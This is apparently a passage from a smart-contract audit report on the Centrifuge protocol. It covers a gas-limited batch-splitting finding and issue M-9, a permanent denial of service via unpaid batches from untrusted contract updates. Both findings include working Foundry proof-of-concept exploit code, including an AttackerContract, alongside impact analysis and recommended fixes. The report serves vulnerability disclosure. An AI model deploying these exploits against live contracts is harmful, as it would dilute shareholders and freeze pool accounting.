contract SplitBatchImbalanceTest is BaseTest {
    using RequestCallbackMessageLib for *;
    using MessageLib for *;

    ShareClassId defaultTypedShareClassId;
    address public testInvestor = makeAddr("testInvestor");
    address vaultAddress;
    AssetId assetId;

    uint128 constant DEPOSIT_AMOUNT = 1000e6;

    function setUp() public override {
        super.setUp();

        defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);
        balanceSheet.updateManager(POOL_A, address(asyncRequestManager), true);

        // Deploy vault
        (, address deployedVault, uint128 createdAssetId) = deployVault(
            VaultKind.Async,
            6,
            address(fullRestrictionsHook),
            defaultShareClassId,
            address(erc20),
            erc20TokenId,
            THIS_CHAIN_ID
        );
        vaultAddress = deployedVault;
        assetId = AssetId.wrap(createdAssetId);

        // Fund investor and create deposit
        erc20.mint(testInvestor, DEPOSIT_AMOUNT);
        centrifugeChain.updateMember(POOL_A.raw(), defaultShareClassId,
        ↪  testInvestor, type(uint64).max);

        vm.startPrank(testInvestor);
        erc20.approve(vaultAddress, DEPOSIT_AMOUNT);
```

```
        AsyncVault(vaultAddress).requestDeposit(DEPOSIT_AMOUNT, testInvestor,
        ↪  testInvestor);
        vm.stopPrank();
    }

    /**
     * POC: Split batch by supplying insufficient gas
     * This shows approve succeeds but issue fails and gets stored
     */
    /// forge-config: default.isolate = true
    function testSplitBatchWithInsufficientGas() public {
        console.log("\n=== BATCH SPLITTING ATTACK ===\n");

        // Create the batched approve+issue messages (as BatchRequestManager would)
        uint128 approvedAmount = DEPOSIT_AMOUNT;
        D18 pricePoolPerAsset = d18(1e18);
        D18 pricePoolPerShare = d18(1e18);

        bytes memory approveCallback = RequestCallbackMessageLib.ApprovedDeposits(
            approvedAmount,
            pricePoolPerAsset.raw()
        ).serialize();

        bytes memory issueCallback = RequestCallbackMessageLib.IssuedShares(
            approvedAmount,
            pricePoolPerShare.raw()
        ).serialize();

        bytes memory approveMessage = MessageLib.RequestCallback(
            POOL_A.raw(),
            defaultShareClassId,
            assetId.raw(),
            approveCallback
        ).serialize();

        bytes memory issueMessage = MessageLib.RequestCallback(
            POOL_A.raw(),
            defaultShareClassId,
```

```
        assetId.raw(),
        issueCallback
    ).serialize();

    // Batch them together
    bytes memory batchedMessage = bytes.concat(approveMessage, issueMessage);
    bytes32 issueMessageHash = keccak256(issueMessage);

    console.log("Created batch with approve+issue paired:");
    console.log("  Total batch size:", batchedMessage.length, "bytes");
    console.log("  Message 1 (approve):", approveMessage.length, "bytes");
    console.log("  Message 2 (issue):", issueMessage.length, "bytes");

    // Check state before
    (uint128 assetsBefore,) = balanceSheet.queuedAssets(POOL_A,
    ↪  defaultTypedShareClassId, assetId);
    uint256 failedCountBefore = gateway.failedMessages(OTHER_CHAIN_ID,
    ↪  issueMessageHash);

    console.log("\nBefore execution:");
    console.log("  Queued assets:", assetsBefore);
    console.log("  Failed message count for issue:", failedCountBefore);

    // Execute with limited gas - enough for approve but not for both
    // We'll use vm.prank with gas limit to control gas available
    console.log("\nExecuting batch with LIMITED GAS...");

    // Supply 480k gas - should be enough for approve (~367k) but not for both
    ↪  (~663k)
    centrifugeChain.execute{gas: 480000}(batchedMessage);

    // Check state after
    (uint128 assetsAfter,) = balanceSheet.queuedAssets(POOL_A,
    ↪  defaultTypedShareClassId, assetId);
    uint256 failedCountAfter = gateway.failedMessages(OTHER_CHAIN_ID,
    ↪  issueMessageHash);

    console.log("\nAfter execution:");
```

```
        console.log("  Queued assets:", assetsAfter);
        console.log("  Assets moved:", assetsAfter - assetsBefore);
        console.log("  Failed message count for issue:", failedCountAfter);

        console.log("\n=== RESULTS ===");

        bool approveSucceeded = assetsAfter > assetsBefore;
        bool issueFailed = failedCountAfter > failedCountBefore;

        console.log("Approve succeeded:", approveSucceeded);
        console.log("Issue failed and stored:", issueFailed);

        if (approveSucceeded && issueFailed) {
            console.log("\n*** ATTACK SUCCESSFUL ***");
            console.log("Assets approved WITHOUT shares issued!");
            console.log("Asset/share imbalance created!");
            console.log("SimplePriceManager pricing assumption broken!");
        }

        // Assert the attack worked
        require(approveSucceeded, "Approve should have succeeded");
        require(issueFailed, "Issue should have failed and been stored");
    }
}
```

Impact

The attack breaks the atomicity of critical message pairs that the protocol explicitly requires to remain paired. When approve/revoke messages are split in pools using sync vaults, attackers can manipulate the share price and immediately exploit it. The approve message executes and removes assets from the pool for redeemers, but when the revoke message fails, the shares that should be burned remain in circulation. This creates an artificial price drop as the pool has fewer assets backing the same number of shares.

The attacker exploits this manipulated price by immediately depositing through the sync vault, receiving significantly more shares than their deposit warrants. They effectively steal value from all existing shareholders by diluting their holdings with underpriced

shares. The corrupted asset/share ratio breaks `SimplePriceManager` calculations as documented in the protocol's known issues:

> Prices computed in SimplePriceManager may be off if approve and issue or approve and revoke are called separately, as then assets and shares are imbalanced.

Similarly, splitting approve/issue messages causes assets to be locked in pool escrows without issuing corresponding shares to depositors, permanently removing their access to funds. Both attack vectors corrupt pool accounting and pricing, with the sync vault variant enabling immediate value extraction at the expense of legitimate users.

Critically, this attack is not a result of manager mistake but rather a fundamental flaw in how batch messages are processed. The manager executes exactly as expected by batching their calls together using `Gateway.withBatch()`. However, there is nothing the manager can do to prevent the out-of-sync messaging once the batch reaches the destination chain. The permissionless `AxelarAdapter.execute()` allows attackers to bypass the manager's intended atomicity by controlling gas during execution, splitting messages that were correctly batched at the source. This distinguishes the vulnerability from the known issue, which assumes managers fail to batch calls together. Here the manager does everything correctly, but the execution layer permits malicious splitting.

Code Snippet

AxelarAdapter.sol#L67-L84 Gateway.sol#L98-L123

Tool Used

Manual Review

Recommendation

Several approaches could mitigate this vulnerability:

Gas Requirements in Payload: The `AxelarAdapter` could be modified to include expected gas requirements in the message payload when sending. Upon receiving, the adapter would validate that sufficient gas is provided before executing, ensuring the entire batch can be processed atomically.

Keeper System: Transition to a keeper-based execution model where only trusted keepers can trigger message execution.

Issue M-9: `MessageProcessor` fails to disable `unpaidMode` during `UntrustedContractUpdate` execution enabling permanent DOS via malicious unpayable batch creation

Source: https://github.com/sherlock-audit/2025-10-centrifuge-protocol-v3-1-audit-judging/issues/984

Found by

0x52

Summary

An attacker can permanently break pool accounting synchronization by exploiting the fact that `UntrustedContractUpdate` messages execute with `unpaidMode = true`. The protocol enables `unpaidMode` when processing all incoming cross-chain messages to allow legitimate messages to be stored as unpaid batches for later payment. However, this setting remains active when executing untrusted contract code, allowing attackers to create nested batches with astronomical gas costs (e.g., 1e26 gas units) that are stored as unpaid instead of reverting. By bundling critical `UpdateHoldingAmount` and `UpdateShares` sync messages in the same batch as astronomical-cost transfers, the attacker creates an unpayable batch that costs more than the world's ETH supply to send. This permanently blocks the nonce used by accounting sync messages, freezing the Hub's view of pool assets and share supply while operations continue on Spokes, causing unbounded accounting desynchronization.

Root Cause

MessageProcessor.sol#L171-L180 - Executes `UntrustedContractUpdate` messages with `unpaidMode = true` still active, allowing untrusted code to create unpayable batches

No recovery mechanism - Protocol cannot skip, delete, or pay for batches exceeding world ETH supply

Vulnerability Details

The root cause of this vulnerability is that `UntrustedContractUpdate` messages execute in the context of `unpaidMode = true`. When the protocol processes incoming cross-chain messages, it enables `unpaidMode` to allow legitimate messages to be stored as unpaid batches for later payment. However, this setting remains active when executing untrusted contract code, allowing attackers to create malicious unpayable batches that permanently block critical accounting messages.

When `MessageProcessor.handle()` receives any incoming cross-chain message, it immediately sets `unpaidMode = true`:

MessageProcessor.sol#L81-L83

```
function handle(uint16 centrifugeId, bytes calldata message) external auth {
    MessageType kind = message.messageType();
    gateway.setUnpaidMode(true); // ← Enabled for ALL incoming messages
```

This `unpaidMode` flag controls whether the `Gateway` will store batches as unpaid when insufficient funds are provided:

Gateway.sol#L173-L189

```
function _send(uint16 centrifugeId, bytes memory batch, uint128 batchGasLimit,
↪   address refund, uint256 fuel)
    internal
    returns (uint256 cost)
{
    PoolId adapterPoolId = processor.messagePoolId(batch);
    require(!isOutgoingBlocked[centrifugeId][adapterPoolId], OutgoingBlocked());

    cost = adapter.estimate(centrifugeId, batch, batchGasLimit);
    if (fuel >= cost) {
        adapter.send{value: cost}(centrifugeId, batch, batchGasLimit, refund);
    } else if (unpaidMode) {
```

```
        _addUnpaidBatch(centrifugeId, batch, batchGasLimit); // ← Stores batch as
        ↪  unpaid
        cost = 0;
    } else {
        revert NotEnoughGas(); // ← Would revert if unpaidMode = false
    }
}
```

When `MessageProcessor.handle()` encounters an `UntrustedContractUpdate` message, it calls the untrusted contract's `untrustedCall()` function **while `unpaidMode` is still true**:

MessageProcessor.sol#L171-L180

```
} else if (kind == MessageType.UntrustedContractUpdate) {
    MessageLib.UntrustedContractUpdate memory m =
    ↪  MessageLib.deserializeUntrustedContractUpdate(message);
    contractUpdater.untrustedCall( // ← Untrusted code executes with unpaidMode =
    ↪  true
        PoolId.wrap(m.poolId),
        ShareClassId.wrap(m.scId),
        m.target.toAddress(),
        m.payload,
        centrifugeId,
        m.sender
    );
```

Inside the `untrustedCall()`, the attacker can create nested batches via `gateway.withBatch()` and add messages with astronomical gas limits. Since `unpaidMode = true`, these batches will be stored as unpaid rather than reverting with `NotEnoughGas()`. The attacker uses zero-amount cross-chain transfers to bypass all restrictions while injecting astronomical gas costs:

Spoke.sol#L80-L105

```
function crosschainTransferShares(
    uint16 centrifugeId,
    PoolId poolId,
    ShareClassId scId,
    bytes32 receiver,
```

```
    uint128 amount,
    uint128 extraGasLimit, // ← Can be astronomical (e.g., 1e26)
    uint128 remoteExtraGasLimit,
    address refund
) public payable protected {
    IShareToken share = IShareToken(shareToken(poolId, scId));
    require(centrifugeId != sender.localCentrifugeId(), LocalTransferNotAllowed());
    require(
        share.checkTransferRestriction(msg.sender, address(uint160(centrifugeId)),
        ↪  amount), // ← amount=0 bypasses checks
        CrossChainTransferNotAllowed()
    );

    share.authTransferFrom(msg.sender, msg.sender, address(this), amount); // ←
    ↪  amount=0, no balance needed
    share.burn(address(this), amount); // ← amount=0, burns nothing

    emit InitiateTransferShares(centrifugeId, poolId, scId, msg.sender, receiver,
    ↪  amount);

    sender.sendInitiateTransferShares{
        value: msg.value
    }(centrifugeId, poolId, scId, receiver, amount, extraGasLimit,
    ↪  remoteExtraGasLimit, refund); // ← Creates message with astronomical
    ↪  extraGasLimit
}
```

The attacker then calls `queueManager.sync()` which creates a nested batch containing critical `UpdateHoldingAmount` and `UpdateShares` messages in the same batch as the astronomical-gas transfer:

```
// Inside attacker's untrustedCall():
spoke.crosschainTransferShares{value: 0}(
    targetChainId,
    poolId,
    scId,
    receiver,
    0,              // ← Zero shares bypasses all hooks
```

```
    1e26,           // ← Astronomical extraGasLimit
    0,
    address(this)
);

gateway.lockCallback();

queueManager.sync{value: 0}( // ← Adds UpdateHoldingAmount/UpdateShares to SAME
↪   batch
    poolId,
    scId,
    assetIds,
    address(this)
);
```

Because `unpaidMode = true`, the `Gateway` stores this astronomical-cost batch as unpaid rather than reverting. The stored unpaid batch contains a nonce that blocks all future accounting messages:

Holdings.sol#L111-L124

```
function setSnapshot(PoolId poolId, ShareClassId scId, uint16 centrifugeId, bool
↪   isSnapshot, uint64 nonce)
    external
    auth
{
    Snapshot storage snapshot_ = snapshot[poolId][scId][centrifugeId];
    require(snapshot_.nonce == nonce, InvalidNonce(snapshot_.nonce, nonce)); // ←
    ↪   Blocks all future messages

    snapshot_.isSnapshot = isSnapshot;
    snapshot_.nonce++;
    ... snip
}
```

The frozen nonce **specifically blocks** two critical message types that sync pool accounting between Spokes and Hub:

UpdateHoldingAmount messages (sent by BalanceSheet.submitQueuedAssets()):

- Syncs asset deposit amounts from Spoke → Hub
- Syncs asset withdrawal amounts from Spoke → Hub
- Carries nonce that must match Holdings.setSnapshot()
- **PERMANENTLY BLOCKED** - all future UpdateHoldingAmount messages revert with `InvalidNonce`

UpdateShares messages (sent by BalanceSheet.submitQueuedShares()):

- Syncs share issuance from Spoke → Hub
- Syncs share revocation from Spoke → Hub
- Carries nonce that must match Holdings.setSnapshot()
- **PERMANENTLY BLOCKED** - all future UpdateShares messages revert with `InvalidNonce`

Both message types are essential for maintaining synchronized accounting state between the Hub and Spokes. When these are permanently blocked, the Hub's view of pool assets and share supply freezes at the moment of attack while Spokes continue processing deposits, withdrawals, mints, and burns. This creates an unbounded accounting divergence that silently compounds over time.

No Pool ID Validation

A critical vulnerability multiplier is that `spoke.updateContract()` never validates whether the provided `poolId` actually exists or is registered. The function simply extracts the `centrifugeId` from the `poolId` and routes the message to that chain:

Spoke.sol#L159-L172

```
function updateContract(
    PoolId poolId,
    ShareClassId scId,
    bytes32 target,
    bytes calldata payload,
    uint128 extraGasLimit,
    address refund
) external payable {
```

```
    emit UntrustedContractUpdate(poolId.centrifugeId(), poolId, scId, target,
    ↪  payload, msg.sender); // ← Just extracts centrifugeId

    sender.sendUntrustedContractUpdate{ // ← No validation, sends to extracted
    ↪  centrifugeId
        value: msg.value
    }(poolId, scId, target, payload, msg.sender.toBytes32(), extraGasLimit, refund);
}
```

Similarly, `MessageDispatcher.sendUntrustedContractUpdate()` performs no validation:

MessageDispatcher.sol#L601-L625

```
function sendUntrustedContractUpdate(
    PoolId poolId,
    ShareClassId scId,
    bytes32 target,
    bytes calldata payload,
    bytes32 sender,
    uint128 extraGasLimit,
    address refund
) external payable auth {
    uint16 hubCentrifugeId = poolId.centrifugeId(); // ← Just extracts
    ↪  centrifugeId, no validation

    if (hubCentrifugeId == localCentrifugeId) {
        contractUpdater.untrustedCall(poolId, scId, target.toAddress(), payload,
        ↪  localCentrifugeId, sender);
        _refund(refund);
    } else {
        _send( // ← Routes to extracted centrifugeId
            hubCentrifugeId,
            MessageLib.UntrustedContractUpdate({
                    poolId: poolId.raw(), scId: scId.raw(), target: target,
                    ↪  payload: payload, sender: sender
                }).serialize(),
            extraGasLimit,
            refund
        );
```

```
    }
}
```

This means an attacker can craft a **completely fake** `poolId` with any `centrifugeId` embedded in it, and the protocol will route the `UntrustedContractUpdate` message to that target chain. No real pools need to exist on any chains - the attacker just needs to encode the target chain's `centrifugeId` into a spoofed `poolId`.

Attack Flow

1. Attacker calls `spoke.updateContract()` (permissionless) on **any chain** (e.g., Arbitrum)
2. Attacker provides a **spoofed** `poolId` with the target chain's `centrifugeId` embedded (e.g., Ethereum's centrifugeId)
3. Protocol extracts the `centrifugeId` and routes the `UntrustedContractUpdate` message to that target chain
4. Target chain's `Gateway` processes the message with `unpaidMode=true`
5. `ContractUpdater` routes to attacker's malicious contract on the target chain
6. Inside `untrustedCall()`, attacker executes on the target chain with `unpaidMode=true`
7. Attacker calls any spoke's `crosschainTransferShares()` with `amount=0` and `extraGasLimit=1e26`
8. Attacker calls `gateway.lockCallback()` then `queueManager.sync()`
9. Sync messages (`UpdateHoldingAmount/UpdateShares`) are batched with astronomical-gas transfer
10. Since `unpaidMode=true` and `fuel < cost`, batch stored as unpaid with nonce N
11. Future accounting sync messages arrive with nonce N+1, N+2, etc.
12. `Holdings.setSnapshot()` on hub chain reverts with `InvalidNonce`
13. Pool's accounting sync is **permanently blocked**

Impact

Pool accounting becomes permanently desynchronized:

- Hub has incorrect asset balances (doesn't know about deposits/withdrawals on Spokes)
- Hub has incorrect share supply (doesn't know about minting/burning on Spokes)
- Pool NAV calculations become **permanently wrong**
- Share pricing becomes **permanently inaccurate**
- Rebalancing decisions based on **stale data**
- Accounting mismatch grows **unbounded over time**

Other messages NOT affected:

- Cross-chain share transfers (InitiateTransferShares) continue to work
- Price updates (NotifyPricePoolPerShare, NotifyPricePoolPerAsset) continue to work
- Governance messages continue to work
- But these work with **wrong accounting data**, compounding the damage

Accounting desync is hidden:

- Hub's asset balances and share supply remain frozen at attack moment
- Spokes continue normal operations
- Hub and Spokes diverge further with every deposit/withdrawal/mint/burn
- Users suffer losses from incorrect pricing/NAV calculations while system appears operational
- By the time the desync is discovered, accounting gap may be massive and irrecoverable

Proof of Concept

Add the following file to `protocol/test`:

```
pragma solidity 0.8.28;

import "./core/spoke/integration/BaseTest.sol";
import {IGateway} from "../src/core/messaging/interfaces/IGateway.sol";
import {ISpoke} from "../src/core/spoke/interfaces/ISpoke.sol";
import {IQueueManager} from "../src/managers/spoke/interfaces/IQueueManager.sol";
import {IUntrustedContractUpdate} from
↪  "../src/core/utils/interfaces/IContractUpdate.sol";
import {AssetId} from "../src/core/types/AssetId.sol";
import {ShareClassId} from "../src/core/types/ShareClassId.sol";
import {PoolId} from "../src/core/types/PoolId.sol";
import {VaultKind} from "../src/core/spoke/interfaces/IVault.sol";
import {CastLib} from "../src/misc/libraries/CastLib.sol";
import {BytesLib} from "../src/misc/libraries/BytesLib.sol";
import {MessageLib, MessageType} from
↪  "../src/core/messaging/libraries/MessageLib.sol";
import {IAdapter} from "../src/core/messaging/interfaces/IAdapter.sol";
import "forge-std/console.sol";

contract AttackerContract is IUntrustedContractUpdate {
    IGateway public gateway;
    ISpoke public spoke;
    IQueueManager public queueManager;

    PoolId public poolId;
    ShareClassId public scId;
    AssetId[] public assetIds;
    uint16 public targetChainId;

    constructor(
        address _gateway,
        address _spoke,
        address _queueManager,
        PoolId _poolId,
        ShareClassId _scId,
        uint16 _targetChainId
    ) {
```

```
        gateway = IGateway(_gateway);
        spoke = ISpoke(_spoke);
        queueManager = IQueueManager(_queueManager);
        poolId = _poolId;
        scId = _scId;
        targetChainId = _targetChainId;
    }

    function setAssetIds(AssetId[] memory _assetIds) external {
        delete assetIds;
        for (uint i = 0; i < _assetIds.length; i++) {
            assetIds.push(_assetIds[i]);
        }
    }

    /**
     * @notice Receives untrusted cross-chain contract update
     */
    function untrustedCall(
        PoolId /* poolId */,
        ShareClassId /* scId */,
        bytes calldata /* payload */,
        uint16 /* centrifugeId */,
        bytes32 /* sender */
    ) external override {
        console.log("\n=== UNTRUSTED CALL RECEIVED (unpaidMode = true) ===");
        console.log("Now executing permanent DOS attack...");

        // Start outer batch with zero payment
        gateway.withBatch{value: 0}(
            abi.encodeWithSelector(this.attackCallback.selector),
            address(this)
        );

        console.log("Attack completed - unpaid batch created");
    }

    /**
```

```
     * @notice Callback that creates the malicious nested batch
     */
    function attackCallback() external {
        console.log("\n--- Inside attack callback ---");

        // Use very high but not max gas limit to avoid overflow
        uint128 astronomicalGas = 1e26; // 100 septillion gas units

        console.log("Creating cross-chain transfer with astronomical gas:");
        console.log("  extraGasLimit:", astronomicalGas);

        // Create a cross-chain transfer with astronomical gas cost
        // Use ZERO shares to bypass ALL token hooks and balance requirements
        spoke.crosschainTransferShares{value: 0}(
            targetChainId,      // Destination chain
            poolId,
            scId,
            bytes32(uint256(uint160(address(this)))), // receiver
            0,                  // ← ZERO shares - bypasses all hooks!
            astronomicalGas,    // ← ASTRONOMICAL extraGasLimit
            0,                  // remoteExtraGasLimit
            address(this)
        );

        console.log("Transfer message added to batch");
        gateway.lockCallback();
        console.log("Callback locked");

        // Now call QueueManager.sync() which creates a NESTED batch
        console.log("\nCalling QueueManager.sync (creates nested batch)...");

        queueManager.sync{value: 0}(
            poolId,
            scId,
            assetIds,
            address(this)
        );
```

```
        console.log("System messages added to same batch");
        console.log("Batch will be processed as unpaid due to astronomical cost");
    }
}

contract PermanentDOSTest is BaseTest {
    using CastLib for *;
    using MessageLib for *;
    using BytesLib for bytes;

    AttackerContract public attacker;
    uint128 constant ASTRONOMICAL_GAS = 1e26; // 100 septillion gas units

    ShareClassId defaultTypedShareClassId;
    address asset1;
    address asset2;
    AssetId assetId1;
    AssetId assetId2;
    address vault1;
    address vault2;

    function setUp() public override {
        super.setUp();

        console.log("\n=== TEST SETUP ===");
        console.log("Gateway address:", address(gateway));
        console.log("Spoke address:", address(spoke));
        console.log("QueueManager address:", address(queueManager));
        console.log("Pool ID:", POOL_A.raw());

        defaultTypedShareClassId = ShareClassId.wrap(defaultShareClassId);

        // Setup manager permissions
        balanceSheet.updateManager(POOL_A, address(queueManager), true);

        // Deploy vaults - NO restrictions hook to allow cross-chain transfers
        asset1 = address(erc20);
        asset2 = address(new ERC20(6));
```

```
(, address vaultAddress1, uint128 createdAssetId1) =
    deployVault(VaultKind.SyncDepositAsyncRedeem, 18, address(0),
    ↪  defaultShareClassId, asset1, 0, THIS_CHAIN_ID);
assetId1 = AssetId.wrap(createdAssetId1);
vault1 = vaultAddress1;

(, address vaultAddress2, uint128 createdAssetId2) = deployVault(
    VaultKind.SyncDepositAsyncRedeem,
    18,
    address(0), // NO restrictions hook
    defaultShareClassId,
    asset2,
    0,
    THIS_CHAIN_ID
);
assetId2 = AssetId.wrap(createdAssetId2);
vault2 = vaultAddress2;

// Deploy attacker contract
attacker = new AttackerContract(
    address(gateway),
    address(spoke),
    address(queueManager),
    POOL_A,
    defaultTypedShareClassId,
    OTHER_CHAIN_ID // Target different chain (e.g., Ethereum mainnet)
);

// Set asset IDs for the attack
AssetId[] memory assets = new AssetId[](2);
assets[0] = assetId1;
assets[1] = assetId2;
attacker.setAssetIds(assets);

// Queue some pending deposits to create sync messages
// This simulates existing user deposits that haven't been synced yet
erc20.mint(address(asyncRequestManager), 1000e18);
```

```
        vm.prank(address(asyncRequestManager));
        erc20.approve(address(balanceSheet), 1000e18);
        vm.prank(address(asyncRequestManager));
        balanceSheet.deposit(POOL_A, defaultTypedShareClassId, asset1, 0, 1000e18);

        console.log("Queued deposit to trigger sync messages");
        console.log("Attacker shares: 0 (none needed - uses zero-amount transfer)");
    }

    /// forge-config: default.isolate = true
    function testPermanentDOS() public {

        console.log("\n=== ATTACK ===");

        // Step 1: Call spoke.updateContract() to show message can be created
        ↪  on-chain
        console.log("\n[STEP 1] Proving message authenticity via
        ↪  spoke.updateContract()...\n");
        console.log("Calling spoke.updateContract() - permissionless, anyone can
        ↪  call");

        // Construct the expected cross-chain message
        bytes memory expectedMessage = MessageLib.UntrustedContractUpdate({
            poolId: POOL_A.raw(),
            scId: defaultTypedShareClassId.raw(),
            target: bytes32(bytes20(address(attacker))),
            sender: bytes32(bytes20(address(this))),
            payload: ""
        }).serialize();

        // Expect the PrepareMessage event from Gateway (cross-chain send)
        vm.expectEmit(true, true, true, true);
        emit IGateway.PrepareMessage(
            OTHER_CHAIN_ID,  // Destination chain
            POOL_A,
            expectedMessage
        );
```

```
        // Actually call spoke.updateContract() - this is what an attacker would do
        spoke.updateContract{value: DEFAULT_GAS}(
            POOL_A,
            defaultTypedShareClassId,
            bytes32(bytes20(address(attacker))),
            "",
            0,
            address(this)
        );

        console.log("SUCCESS: spoke.updateContract() executed");
        console.log("The protocol SENT this cross-chain message:");
        console.log("  Destination: Chain", OTHER_CHAIN_ID);
        console.log("  Message Hash:", vm.toString(keccak256(expectedMessage)));

        // Step 1b: Use the same message for attack
        console.log("\n[STEP 1b] Using same message for attack...\n");

        console.log("Attack message:");
        console.log("  Type: UntrustedContractUpdate");
        console.log("  Length:", expectedMessage.length, "bytes");
        console.log("  Hash:", vm.toString(keccak256(expectedMessage)));

        // Step 2: Execute attack with the message
        console.log("\n[STEP 2] Executing cross-chain attack...\n");

        // Record logs to capture UnderpaidBatch event
        vm.recordLogs();

        centrifugeChain.execute(expectedMessage);

        // Step 3: Extract underpaid batch data from Gateway
        console.log("\n[STEP 3] Querying underpaid batch data directly from
        ↪  Gateway...\n");

        // Parse logs to find UnderpaidBatch event
        Vm.Log[] memory logs = vm.getRecordedLogs();
        bytes32 batchHash;
```

```
bytes memory batch;
uint16 centrifugeId;

// UnderpaidBatch event signature: UnderpaidBatch(uint16,bytes,bytes32)
bytes32 eventSig = keccak256("UnderpaidBatch(uint16,bytes,bytes32)");

for (uint i = 0; i < logs.length; i++) {
    if (logs[i].topics[0] == eventSig) {
        // Found the UnderpaidBatch event
        centrifugeId = abi.decode(abi.encodePacked(logs[i].topics[1]),
        ↪  (uint16));
        (batch, batchHash) = abi.decode(logs[i].data, (bytes, bytes32));
        break;
    }
}

require(batchHash != bytes32(0), "UnderpaidBatch event not found");

// Query the underpaid struct from Gateway
(uint128 gasLimit, uint64 counter) = gateway.underpaid(centrifugeId,
↪  batchHash);

console.log("UNDERPAID BATCH FOUND:");
console.log("  Chain ID:", centrifugeId);
console.log("  Batch Hash:", vm.toString(batchHash));
console.log("  Gas Limit:", gasLimit);
console.log("  Counter:", counter);
console.log("  Batch Length:", batch.length, "bytes");

// Parse batch to extract individual messages (like Gateway.handle does)
console.log("\nBATCH CONTENTS:");
bytes memory remaining = batch;
uint256 msgCount = 0;

while (remaining.length > 0) {
    msgCount++;
    uint256 length = gateway.processor().messageLength(remaining);
    bytes memory message = remaining.slice(0, length);
```

```
            MessageType msgType = MessageLib.messageType(message);
            console.log("  Message", msgCount, "- Type:", uint8(msgType));
            console.log("    Length:", length, "bytes");

            remaining = remaining.slice(length, remaining.length - length);
        }
    }
}
```

The POC demonstrates:

- Message created via authentic `spoke.updateContract()` call
- Protocol accepts and sends this exact message cross-chain
- Attack uses zero shares (bypasses ALL hooks and restrictions)
- Underpaid batch created with 1e26 gas cost
- Batch stored in Gateway storage permanently blocking nonce

Code Snippet

Vulnerability - `UntrustedContractUpdate` executes with `unpaidMode = true`

- MessageProcessor.sol#L83 - Sets `unpaidMode = true` for all incoming messages
- MessageProcessor.sol#L171-L180 - Executes untrusted code with `unpaidMode = true` still active

Tool used

Manual Review

Recommendation

Temporarily disable `unpaidMode` when executing `UntrustedContractUpdate` messages in `MessageProcessor.handle()`. This ensures that untrusted code cannot create unpayable batches that would be stored instead of reverting:

```
    } else if (kind == MessageType.UntrustedContractUpdate) {
        MessageLib.UntrustedContractUpdate memory m =
        ↪  MessageLib.deserializeUntrustedContractUpdate(message);
+       gateway.setUnpaidMode(false); // Disable unpaid mode for untrusted code
        contractUpdater.untrustedCall(
            PoolId.wrap(m.poolId),
            ShareClassId.wrap(m.scId),
            m.target.toAddress(),
            m.payload,
            centrifugeId,
            m.sender
        );
+       gateway.setUnpaidMode(true); // Restore unpaid mode for remaining message
 ↪  processing
```

Disclaimers

Blackthorn does not provide guarantees nor warranties relating to the security of the project.

Usage of all smart contract software is at the respective users' sole risk and is the users' responsibility.